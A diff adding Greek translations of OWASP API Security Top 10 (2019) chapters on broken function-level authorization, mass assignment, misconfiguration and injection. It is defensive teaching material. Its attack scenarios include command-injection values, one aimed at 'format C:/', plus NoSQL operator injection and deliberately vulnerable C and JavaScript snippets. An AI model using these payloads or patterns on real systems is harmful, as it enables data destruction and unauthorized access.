b/editions/2019/el-gr/0xa5-broken-function-level-authorization.md @@ -0,0 +1,78 @@ +# API5:2019 Broken Function Level Authorization + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **1** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας απαιτεί από τον εισβολέα (attacker) να στείλει έγκυρες κλήσεις σε τελικό σημείο προορισμού API (endpoint) στο οποίο κανονικά δεν θα πρέπει να έχει πρόσβαση. Αυτά τα τελικά σημεία προορισμού ενδέχεται να εκτίθενται σε ανώνυμους χρήστες ή/και σε κανονικούς, μη προνομιούχους/εξουσιοδοτημένους χρήστες (non-privileged users). Είναι εύκολο να ανακαλύψετε τέτοιου είδους ελαττώματα σε APIs καθώς τα APIs έχουν δομή και ο τρόπος πρόσβασης σε ορισμένες λειτουργίες είναι εύκολα προβλέψιμος (π.χ. αντικατάσταση της μεθόδου HTTP από GET σε PUT ή αλλαγή της συμβολοσειράς "users" στη διεύθυνση URL σε "admins" ). | Οι έλεγχοι εξουσιοδότησης (authorization checks) για μια λειτουργία (function) ή έναν πόρο συστήματος (resource) βασίζονται συνήθως σε ρυθμίσεις (configuration) και μερικές φορές υλοποιούνται σε επίπεδο κώδικα. Η εφαρμογή των κατάλληλων και σωστών ελέγχων εξουσιοδότησης είναι συνήθως μια περίπλοκη εργασία, καθώς οι σύγχρονες εφαρμογές ενδέχεται να περιέχουν πολλούς τύπους ρόλων ή ομάδων και πολύπλοκη ιεραρχία χρηστών (π.χ. υπο-χρήστες, χρήστες με περισσότερους από έναν ρόλους). | Οι αδυναμίες ασφαλείας αυτές επιτρέπουν στους εισβολείς να έχουν πρόσβαση σε μη εξουσιοδοτημένες λειτουργίες. Οι διαχειριστικές λειτουργίες (administrative functions) είναι οι βασικοί στόχοι για αυτό το είδος επίθεσης. | + +## Πότε το API είναι ευάλωτο + +Ο καλύτερος τρόπος για να βρείτε αδυναμίες ασφαλείας εξουσιοδότησης σε επίπεδο λειτουργιών (Broken Function Level Authorization) είναι να πραγματοποιήσετε μια ενδελεχή ανάλυση (deep analysis) του μηχανισμού εξουσιοδότησης (authorization mechanism). Λάβετε υπόψιν σας την ιεραρχία των χρηστών, τους διαφορετικούς ρόλους ή/και τις ομάδες του συστήματος χρησιμοποιώντας τις ακόλουθες ερωτήσεις: + +* Μπορεί ένας κανονικός χρήστης να έχει πρόσβαση στα τελικά σημεία διαχείρισης (administrative endpoints); +* Μπορεί ένας χρήστης να εκτελέσει ευαίσθητες ενέργειες (π.χ. δημιουργία, τροποποίηση ή διαγραφή) στις οποίες δεν θα έπρεπε να έχει πρόσβαση αλλάζοντας απλώς τη μέθοδο HTTP (π.χ. από "GET" σε "DELETE"); +* Μπορεί ένας χρήστης από την ομάδα Χ να αποκτήσει πρόσβαση σε μια λειτουργία που θα πρέπει να εκτίθεται μόνο σε χρήστες από την ομάδα Υ, μαντεύοντας απλώς τη διεύθυνση URL του τελικού σημείου προορισμού και τις παραμέτρους (π.χ. `/api/v1/users/export_all`); + +Μην υποθέτετε ότι ένα τελικό σημείο API είναι κανονικό ή διαχειριστικό μόνο με βάση τη διαδρομή URL. + +Παρόλο που οι προγραμματιστές ενδέχεται να επιλέξουν να εκθέσουν τα περισσότερα από τα διαχειριστικά τελικά σημεία προορισμού σε μια συγκεκριμένη σχετική διαδρομή, όπως `api/admins`, είναι πολύ συνηθισμένο να βρίσκουμε αυτά τα τελικά σημεία διαχείρισης και σε άλλες σχετικές διαδρομές μαζί με κανονικά τελικά σημεία προορισμού, όπως `api/users`. + +## Παραδείγματα Σεναρίων Επίθεσης + +### Σενάριο Επίθεσης #1 + +Κατά τη διαδικασία εγγραφής σε μια εφαρμογή που επιτρέπει τη συμμετοχή μόνο σε +προσκεκλημένους χρήστες, η εφαρμογή για κινητά εκτελεί μια κλήση API στο +`GET /api/invites/{invite_guid}`. Η απάντηση περιέχει ένα JSON με λεπτομέρειες +σχετικές με την πρόσκληση, συμπεριλαμβανομένου του ρόλου του χρήστη και του email του χρήστη. + +Ένας εισβολέας αντέγραψε το αίτημα και άλλαξε τη μέθοδο HTTP και το τελικό +σημείο σε `POST /api/invites/new`. Αυτό το τελικό σημείο προορισμού θα πρέπει να είναι προσβάσιμο μόνο +από διαχειριστές που χρησιμοποιούν την κονσόλα διαχείρισης, το οποίο όμως τελικό σημείο προορισμού δεν εφαρμόζει ελέγχους +εξουσιοδότησης σε επίπεδο λειτουργίας. + +Ο εισβολέας εκμεταλλεύεται το πρόβλημα και στέλνει στον εαυτό του μια πρόσκληση για να δημιουργήσει έναν λογαριασμό διαχειριστή: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### Σενάριο Επίθεσης #2 + +Ένα API περιέχει ένα τελικό σημείο προορισμού (endpoint) που θα πρέπει να είναι προσβάσιμο μόνο στους διαχειριστές - +`GET /api/admin/v1/users/all`. Αυτό το τελικό σημείο προορισμού επιστρέφει τα στοιχεία όλων των χρηστών της +εφαρμογής και δεν εφαρμόζει ελέγχους εξουσιοδότησης σε επίπεδο λειτουργίας. Ένας εισβολέας που +έμαθε τη δομή του API κάνει μια πιθανή εικασία και καταφέρνει να αποκτήσει πρόσβαση σε αυτό +το τελικό σημείο προορισμού, το οποίο εκθέτει ευαίσθητες λεπτομέρειες των χρηστών της εφαρμογής. + + + +## Τρόπος Πρόληψης + +Η εφαρμογή σας θα πρέπει να διαθέτει ένα σταθερό και εύκολο στην ανάλυση υποσύστημα εξουσιοδότησης (authorization module) το οποίο θα χρησιμοποιείται από όλες τις επιχειρησιακές λειτουργίες (business functions). + +Συχνά, μια τέτοια προστασία παρέχεται από ένα ή περισσότερα υποσυστήματα (components) που βρίσκονται εκτός του κώδικα της εφαρμογής. + +* Οι μηχανισμοί επιβολής θα πρέπει από προεπιλογή (by default) να απαγορεύουν κάθε πρόσβαση, απαιτώντας ρητές εξουσιοδοτήσεις (explicit grants) σε συγκεκριμένους ρόλους για πρόσβαση σε κάθε λειτουργία. +* Ελέγξτε τα τελικά σημεία προορισμού του API σας σε σχέση με τις αδυναμίες ασφαλείας εξουσιοδότησης σε επίπεδο λειτουργίας (function level), λαμβάνοντας παράλληλα υπόψη την επιχειρησιακή λογική (business logic) της εφαρμογής και της ιεραρχίας των ομάδων χρηστών. +* Βεβαιωθείτε ότι όλα τα διαχειριστικά υποσυστήματα (controllers) βασίζουν την λειτουργία τους σε ένα γενικό διαχειριστικό υποσύστημα (abstract controller) που εφαρμόζει ελέγχους εξουσιοδότησης βάσει της ομάδας και του ρόλου του χρήστη. +* Βεβαιωθείτε ότι οι λειτουργίες διαχείρισης μέσα σε ένα κανονικό διαχειριστικό υποσύστημα (controller) εφαρμόζουν ελέγχους εξουσιοδότησης βάσει της ομάδας και του ρόλου του χρήστη. + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Article on Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Chapter on Authorization][3] + +### Εξωτερικές Αναφορές + +* [CWE-285: Improper Authorization][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2019/el-gr/0xa6-mass-assignment.md b/editions/2019/el-gr/0xa6-mass-assignment.md new file mode 100644 index 000000000..0b4f9c8ea --- /dev/null +++ b/editions/2019/el-gr/0xa6-mass-assignment.md @@ -0,0 +1,67 @@ +# API6:2019 Mass Assignment + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας συνήθως απαιτεί κατανόηση της επιχειρησιακής λογικής (business logic), των σχέσεων των αντικειμένων και της δομής του API. Η εκμετάλλευση της μαζικής εκχώρησης (Mass Assignment) είναι ευκολότερη στα APIs, καθώς από το σχεδιασμό τους εκθέτουν την υλοποίηση της εφαρμογής μαζί με τα ονόματα των ιδιοτήτων (properties). | Τα σύγχρονα frameworks ενθαρρύνουν τους προγραμματιστές να χρησιμοποιούν συναρτήσεις (functions) που συνδέουν αυτόματα την είσοδο από τον χρήστη ή την εφαρμογή-πελάτη (client) σε μεταβλητές κώδικα και εσωτερικά αντικείμενα. Οι εισβολείς μπορούν να χρησιμοποιήσουν αυτήν τη μεθοδολογία για να ενημερώσουν ή να αντικαταστήσουν τις τιμές ευαίσθητων ιδιοτήτων αντικειμένων (object properties), τις οποίες οι προγραμματιστές δεν σκόπευαν ποτέ να εκθέσουν στους χρήστες. | Η εκμετάλλευση (exploitation) μπορεί να οδηγήσει σε κλιμάκωση των προνομίων (privilege escalation), παραποίηση δεδομένων (data tampering), παράκαμψη μηχανισμών ασφαλείας και πολλά άλλα. | + +## Πότε το API είναι ευάλωτο + +Τα αντικείμενα (objects) στις σύγχρονες εφαρμογές μπορεί να περιέχουν πολλές ιδιότητες (properties). +Ορισμένες από αυτές τις ιδιότητες θα πρέπει να μπορούν να ενημερώνονται απευθείας από την εφαρμογή-πελάτη (client) (π.χ. `user.first_name` ή `user.address`) και ορισμένες από αυτές δεν θα πρέπει να είναι προσβάσιμες στους χρήστες / εφαρμογές-πελάτες (π.χ. `user.is_vip`). + +Ένα τελικό σημείο προορισμού API είναι ευάλωτο εάν μετατρέπει αυτόματα τις παραμέτρους της εφαρμογής-πελάτη σε ιδιότητες εσωτερικού αντικειμένου, χωρίς να λαμβάνεται υπόψη η ευαισθησία και το επίπεδο έκθεσης αυτών των ιδιοτήτων. Αυτό θα μπορούσε να επιτρέψει σε έναν εισβολέα να ενημερώσει τις ιδιότητες αντικειμένων (object properties), στις οποίες δεν θα έπρεπε να έχει πρόσβαση. + +Παραδείγματα ευαίσθητων ιδιοτήτων (properties): + +* **Ιδιότητες που σχετίζονται με δικαιώματα**: Τα `user.is_admin`, `user.is_vip` θα πρέπει να ορίζονται μόνο από διαχειριστές. +* **Ιδιότητες που εξαρτώνται από κάποια διαδικασία (process)**: Το `user.cash` θα πρέπει να ορίζεται εσωτερικά μόνο μετά την επαλήθευση πληρωμής. +* **Εσωτερικές ιδιότητες**: Η ιδιότητα `article.created_time` θα πρέπει να επιτρέπεται να ορίζεται μόνο εσωτερικά από την εφαρμογή. + +## Παραδείγματα Σεναρίων Επίθεσης + +### Σενάριο Επίθεσης #1 + +Μια εφαρμογή διαμοιρασμού διαδρομής (ride sharing) παρέχει στον χρήστη την επιλογή να επεξεργαστεί βασικές πληροφορίες για το προφίλ του. +Κατά τη διάρκεια αυτής της διαδικασίας, αποστέλλεται μια κλήση API στο +`PUT /api/v1/users/me` με το ακόλουθο έγκυρο αντικείμενο JSON: + +```json +{"user_name":"inons","age":24} +``` + +Το αίτημα `GET /api/v1/users/me` περιλαμβάνει μια πρόσθετη ιδιότητα credit_balance: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +Ο εισβολέας επαναλαμβάνει το πρώτο αίτημα με το ακόλουθο payload: +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Δεδομένου ότι το τελικό σημείο προορισμού είναι ευάλωτο σε μαζική εκχώρηση (Mass Assignment), ο εισβολέας λαμβάνει πιστώσεις (credits) χωρίς να πληρώσει. + +### Σενάριο Επίθεσης #2 + +Ένα portal διαμοιρασμού βίντεο (video sharing portal) επιτρέπει στους χρήστες να ανεβάζουν περιεχόμενο και να κατεβάζουν περιεχόμενο σε διαφορετικές μορφές (formats). Ένας εισβολέας που εξερευνά το API διαπίστωσε ότι το τελικό σημείο προορισμού `GET /api/v1/videos/{video_id}/meta_data` επιστρέφει ένα αντικείμενο JSON με τις ιδιότητες του βίντεο. Μία από τις ιδιότητες είναι `"mp4_conversion_params":"-v codec h264"`, που υποδεικνύει ότι η εφαρμογή χρησιμοποιεί μια εντολή shell για τη μετατροπή του βίντεο. + +Ο εισβολέας διαπίστωσε επίσης ότι το τελικό σημείο προορισμού `POST /api/v1/videos/new` είναι ευάλωτο σε μαζική εκχώρηση (Mass Assignment) και επιτρέπει στην εφαρμογή-πελάτη (client) να ορίσει οποιαδήποτε ιδιότητα του αντικειμένου βίντεο. +Ο εισβολέας ορίζει μια κακόβουλη τιμή ως εξής: +`"mp4_conversion_params":"-v codec h264 && format C:/"`. Αυτή η τιμή θα προκαλέσει μια έγχυση εντολής shell (shell command injection) μόλις ο εισβολέας κατεβάσει το βίντεο ως MP4. + +## Τρόπος Πρόληψης + +* Εάν είναι δυνατόν, αποφύγετε τη χρήση συναρτήσεων που μετατρέπουν αυτόματα την είσοδο μιας εφαρμογής-πελάτη σε μεταβλητές κώδικα ή σε εσωτερικά αντικείμενα. +* Δημιουργήστε μια λίστα επιτρεπόμενων (whitelist) ιδιοτήτων που να περιλαμβάνει μόνο τις ιδιότητες που επιτρέπεται να ενημερώνονται από τους χρήστες / εφαρμογές-πελάτες (API clients). +* Χρησιμοποιήστε ενσωματωμένες δυνατότητες του framework σας για να δημιουργήσετε μια λίστα μη-επιτρεπόμενων ιδιοτήτων στις οποίες δεν πρέπει να έχουν πρόσβαση οι εφαρμογές-πελάτες (API clients). +* Εάν είναι εφικτό, ορίστε και επιβάλλετε ρητά σχήματα (schemas) για τα payloads δεδομένων εισόδου. + +## Αναφορές (References) + +### Εξωτερικές Αναφορές + +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2019/el-gr/0xa7-security-misconfiguration.md b/editions/2019/el-gr/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..ab14f13b0 --- /dev/null +++ b/editions/2019/el-gr/0xa7-security-misconfiguration.md @@ -0,0 +1,93 @@ +# API7:2019 Security Misconfiguration + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Οι εισβολείς συχνά επιχειρούν να βρουν μη επιδιορθωμένα ελαττώματα (unpatched flows), συνηθισμένα τελικά σημεία προορισμού ή μη προστατευμένα αρχεία και καταλόγους για να αποκτήσουν μη εξουσιοδοτημένη πρόσβαση ή γνώση του συστήματος. | Λανθασμένες ρυθμίσεις παραμέτρων ασφαλείας (Security Misconfigurations) μπορούν να υπάρξουν σε οποιοδήποτε επίπεδο της στοίβας API (API stack), από το επίπεδο δικτύου έως το επίπεδο εφαρμογής. Διατίθενται αυτοματοποιημένα εργαλεία για τον εντοπισμό και την εκμετάλλευση εσφαλμένων διαμορφώσεων, όπως περιττές υπηρεσίες ή ρυθμίσεις παλαιού τύπου (legacy options). | Οι εσφαλμένες ρυθμίσεις ασφαλείας όχι μόνο εκθέτουν ευαίσθητα δεδομένα χρηστών, αλλά εκθέτουν και λεπτομέρειες συστήματος που μπορεί να οδηγήσουν σε πλήρη παραβίαση του διακομιστή (server). | + +## Πότε το API είναι ευάλωτο + +Το API μπορεί να είναι ευάλωτο όταν: + +* Δεν υπάρχει η κατάλληλη θωράκιση ασφαλείας (security hardening) σε όλα τα τμήματα της στοίβας της εφαρμογής, ή υπάρχουν λανθασμένες ρυθμίσεις δικαιωμάτων σε υπηρεσίες Cloud. +* Δεν έχουν εγκατασταθεί οι ενημερωμένες εκδόσεις ασφαλείας, ή τα συστήματα είναι παροχημένα. +* Αχρείαστα χαρακτηριστικά (features) είναι ενεργοποιημένα (για παράδειγμα, το API δέχεται HTTP verbs που δεν χρησιμοποιούνται). +* Δεν υπάρχει Transport Layer Security (TLS). +* Δεν στέλνονται στις εφαρμογές-πελάτες (clients) οι οδηγίες ασφαλείας (security directives)(π.χ., [Επικεφαλίδες Ασφαλείας][1]). +* Δεν υπάρχει πολιτική Cross-Origin Resource Sharing (CORS) ή έχει ρυθμιστεί εσφαλμένα. +* Τα μηνύματα σφαλμάτων περιλαμβάνουν τεχνικές πληροφορίες για τα σφάλματα όπως τα ονόματα και την αλληλουχία των μεθόδων εκτέλεσης (stack trace) ή το API εκθέτει άλλες ευαίσθητες πληροφορίες. + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο Επίθεσης #1 + +Ένας εισβολέας βρίσκει το αρχείο `.bash_history` κάτω από τον κεντρικό φάκελο (root folder) +του διακομιστή, το οποίο περιλαμβάνει εντολές που χρησιμοποιούνται από την ομάδα DevOps για να έχουν πρόσβαση στο API: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +Ένας εισβολέας θα μπορούσε επίσης να βρει άγνωστα τελικά σημεία προορισμού του API που +χρησιμοποιούνται μόνο απο την ομάδα DevOps και τα οποία δεν είναι τεκμηριωμένα. + +### Σενάριο Επίθεσης #2 + +Θέτοντας ως στόχο μια συγκεκριμένη υπηρεσία, ένας εισβολέας χρησιμοποιεί μια δημοφιλή μηχανή αναζήτησης για να αναζητήσει +υπολογιστές άμεσα προσβάσιμους από το Διαδίκτυο. Ο εισβολέας βρίσκει έναν διακομιστή που τρέχει ένα δημοφιλές σύστημα +διαχείρισης βάσεων δεδομένων, το οποίο ακούει στην προεπιλεγμένη θύρα. +Ο διακομιστής αυτός χρησιμοποιεί τις προεπιλεγμένες ρυθμίσεις (default configuration), οι οποίες έχουν απενεργοποιημένο +τον έλεγχο ταυτότητας, με αποτέλεσμα ο εισβολέας να αποκτήσει πρόσβαση σε εκατομμύρια εγγραφές με προσωπικά δεδομένα (PII), +προσωπικές προτιμήσεις και δεδομένα ελέγχου ταυτότητας. + +### Σενάριο Επίθεσης #3 + +Επιθεωρώντας την μεταφορά των δεδομένων μιας εφαρμογής για κινητά, +ένας εισβολέας ανακαλύπτει ότι τα δεδομένα HTTP δεν μεταφέρονται ολικά κάτω από ένα ασφαλές πρωτόκολλο (π.χ. TLS). +Ο εισβολέας ανακαλύπτει ότι αυτό συμβαίνει ειδικά για τη λήψη εικόνων προφίλ. +Καθώς η αλληλεπίδραση του χρήστη με το API είναι δυαδική και παρά το γεγονός ότι η μεταφορά των δυαδικών δεδομένων του API εκτελείται κάτω από ένα ασφαλές πρωτόκολλο, ο εισβολέας ανακαλύπτει ένα μοτίβο όσον αφορά το μέγεθος των απαντήσεων του API. Στην συνέχεια, ο εισβολέας χρησιμοποιεί το μοτίβο για να βγάζει συμπεράσματα για τις προτιμήσεις των χρηστών σε σχέση με το περιεχόμενο που εμφανίζεται (π.χ. εικόνες προφίλ). + +## Τρόπος Πρόληψης + +Με στόχο την αποτελεσματική πρόληψη, ο κύκλος ζωής των API θα πρέπει να περιλαμβάνει τα παρακάτω: + +* Επαναλαμβανόμενη διαδικασία θωράκισης (hardening) που επιτρέπει γρήγορη +και εύκολη εγκατάσταση ενός σωστά ασφαλισμένου περιβάλλοντος στο οποίο θα τρέχουν τα APIs. +* Έλεγχο και ενημέρωση των ρυθμίσεων σε ολόκληρη τη στοίβα (stack) των APIs. Ο έλεγχος θα πρέπει να περιλαμβάνει αρχεία που χρησιμοποιούνται κατά την ενορχήστρωση (orchestration), API components και υπηρεσίες cloud (π.χ. δικαιώματα κάδων S3). +* Ένα ασφαλές κανάλι επικοινωνίας για όλες τις αλληλεπιδράσεις του API σε στατικά στοιχεία (π.χ. εικόνες). +* Αυτοματοποιημένη διαδικασία για τη συνεχή αξιολόγηση της αποτελεσματικότητας των ρυθμίσεων σε όλα τα περιβάλλοντα. + +Ακόμα: + +* Για να αποτρέψετε την πιθανή αποστολή τεχνικών πληροφοριών σε μηνύματα σφαλμάτων (exception trace) και άλλων πολύτιμων πληροφοριών στους εισβολείς, +εάν έχετε την δυνατότητα, ορίστε και επιβάλετε συγκρεκριμένα σχήματα απαντήσεων API (response payload schemas), συμπεριλαμβανομένων των απαντήσεων σφαλμάτων (error responses). +* Βεβαιωθείτε ότι το API είναι προσβάσιμο μόνο από τα ρήματα/μεθόδους HTTP (HTTP verbs) που έχετε καθορίσει. +Όλα τα άλλα ρήματα/μέθοδοι HTTP (HTTP verbs) θα πρέπει να είναι απενεργοποιημένα (π.χ. "HEAD"). +* Τα APIs που είναι σχεδιασμένα για να είναι προσβάσιμα από εφαρμογές-πελάτες μέσω προγραμμάτων περιήγησης (π.χ., το front-end μιας εφαρμογής Web) θα πρέπει να εφαρμόζουν μια σωστή πολιτική κοινής χρήσης πόρων μεταξύ προέλευσης (CORS). + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Εξωτερικές Αναφορές + +* [CWE-2: Environmental Security Flaws][4] +* [CWE-16: Configuration][5] +* [CWE-388: Error Handling][6] +* [Guide to General Server Security][7], NIST +* [Let’s Encrypt: a free, automated, and open Certificate Authority][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) diff --git a/editions/2019/el-gr/0xa8-injection.md b/editions/2019/el-gr/0xa8-injection.md new file mode 100644 index 000000000..6365fde1e --- /dev/null +++ b/editions/2019/el-gr/0xa8-injection.md @@ -0,0 +1,90 @@ +# API8:2019 Injection + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση | +| Οι εισβολείς εισάγουν στο API κακόβουλα δεδομένα μέσω οποιασδήποτε διαθέσιμης μεθόδου εισαγωγής δεδομένων αναμένοντας να σταλούν τελικώς σε έναν διερμηνέα λογισμικού (interpreter). Οι μέθοδοι αυτοί που μπορούν να χρησιμοποιηθούν για εισαγωγή κακόβουλων δεδομένων που καταλήγουν σε διερμηνείς λογισμικού ονομάζονται διανύσματα έγχυσης (injection vectors). Παραδείγματα τέτοιων μεθόδων είναι η άμεση εισαγωγή δεδομένων (direct input), οι παράμετροι (parameters), οι ολοκληρωμένες/ενσωματωμένες υπηρεσίες (integrated services) κ.λπ. | Οι ευπάθειες έγχυσης είναι πολύ κοινές και εντοπίζονται συχνά σε ερωτήματα SQL, LDAP ή NoSQL, εντολές λειτουργικού συστήματος, αναλυτές XML και ORM. Αυτές οι ευπάθειες είναι εύκολο να εντοπιστούν κατά τον έλεγχο του πηγαίου κώδικα. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν σαρωτές και fuzzers για να εντοπίσουν τέτοιες ευπάθειες. | Η έγχυση (injection) μπορεί να οδηγήσει σε αποκάλυψη πληροφοριών και απώλεια δεδομένων. Μπορεί επίσης να οδηγήσει σε επιθέσεις άρνησης εξυπηρέτησης (DoS) ή πλήρη κατάληψη του κεντρικού υπολογιστή. | + +## Πότε το API είναι ευάλωτο + +Το API είναι ευάλωτο σε ευπάθεια έγχυσης (injection flaw) όταν: + +* Τα δεδομένα που παρέχονται από τους χρήστες ή εφαρμογές-πελάτες δεν επικυρώνονται, δεν φιλτράρονται ή δεν απολυμαίνονται (sanitized) από το API. +* Τα δεδομένα που παρέχονται από τους χρήστες ή εφαρμογές-πελάτες χρησιμοποιούνται απευθείας ή συνδέονται με ερωτήματα SQL/NoSQL/LDAP, εντολές λειτουργικού συστήματος, αναλυτές XML και σχεσιακή αντιστοίχιση αντικειμένων (ORM) / χαρτογράφηση εγγράφων αντικειμένου (ODM). +* Τα δεδομένα που προέρχονται από εξωτερικά συστήματα (π.χ. ολοκληρωμένα/ενσωματωμένα συστήματα) δεν επικυρώνονται (validation), δεν φιλτράρονται (filtering) ή δεν απολυμαίνονται (sanitization) από το API. + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο Επίθεσης #1 + +Το υλικολογισμικό (firmware) μιας συσκευής γονικού ελέγχου παρέχει το τελικό σημείο προορισμού `/api/CONFIG/restore` το οποίο έχει σχεδιαστεί έτσι ώστε η παράμετρος `appId` να αποστέλεται ως παράμετρος πολλαπλών τμημάτων (multipart parameter). +Χρησιμοποιώντας έναν απομεταγλωττιστή (decompiler), ένας εισβολέας ανακαλύπτει ότι το `appId` περνάει απευθείας σε μια κλήση συστήματος χωρίς καμία απολύμανση (sanitization): + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Η ακόλουθη εντολή επιτρέπει στον εισβολέα να τερματίσει οποιαδήποτε συσκευή με το ίδιο ευάλωτο υλικολογισμικό: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Σενάριο Επίθεσης #2 + +Έχουμε μια εφαρμογή με βασική λειτουργικότητα CRUD για λειτουργίες με κρατήσεις (bookings). +Ένας εισβολέας κατάφερε να αναγνωρίσει ότι η εισαγωγή NoSQL μπορεί να είναι δυνατή μέσω της παραμέτρου ερωτήματος `bookingId` στο αίτημα διαγραφής κράτησης. To αίτημα είναι το εξής: `DELETE /api/bookings?bookingId=678`. + +Ο διακομιστής API χρησιμοποιεί την ακόλουθη λειτουργία (function) για να χειριστεί αιτήματα διαγραφής: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +Ο εισβολέας υπέκλεψε το αίτημα και άλλαξε την παράμετρο ερωτήματος `bookingId`, όπως φαίνεται παρακάτω. Σε αυτήν την περίπτωση, ο εισβολέας κατάφερε να διαγράψει την κράτηση άλλου χρήστη: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Τρόπος Πρόληψης + +Η πρόληψη της έγχυσης απαιτεί τη διατήρηση των δεδομένων ξεχωριστά από εντολές και ερωτήματα. + +* Εκτελέστε επικύρωση (validation) δεδομένων χρησιμοποιώντας μια αξιόπιστη και ενεργά συντηρούμενη βιβλιοθήκη. +* Όλα τα δεδομένα που παρέχονται από τους χρήστες ή εφαρμογές-πελάτες ή άλλα δεδομένα που προέρχονται από ενσωματωμένα συστήματα πρέπει να επικυρώνονται (validation), φιλτράρονται ή/και να απολυμαίνονται (sanitization). +* Οι ειδικοί χαρακτήρες θα πρέπει να διαφεύγονται (escape) χρησιμοποιώντας τη συγκεκριμένη σύνταξη του διερμηνέα λογισμικού που λαμβάνει τα δεδομένα. +* Προτιμήστε ένα ασφαλές API που παρέχει μια παραμετροποιημένη διεπαφή. +* Φροντίστε να περιορίσετε τον αριθμό των επιστρεφόμενων εγγραφών για να αποτρέψετε τη μαζική παραβίαση δεδομένων σε περίπτωση επίθεσης. +* Επικυρώστε τα εισερχόμενα δεδομένα χρησιμοποιώντας επαρκή φίλτρα για να επιτρέπονται μόνο έγκυρες τιμές για κάθε παράμετρο εισόδου. +* Ορίστε τύπους δεδομένων και αυστηρά μοτίβα για όλες τις παραμέτρους αιτημάτων. + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Εξωτερικές Αναφορές + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html diff --git a/editions/2019/el-gr/0xa9-improper-assets-management.md b/editions/2019/el-gr/0xa9-improper-assets-management.md new file mode 100644 index 000000000..7c5238481 --- /dev/null +++ b/editions/2019/el-gr/0xa9-improper-assets-management.md @@ -0,0 +1,65 @@ +# API9:2019 Improper Assets Management + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : 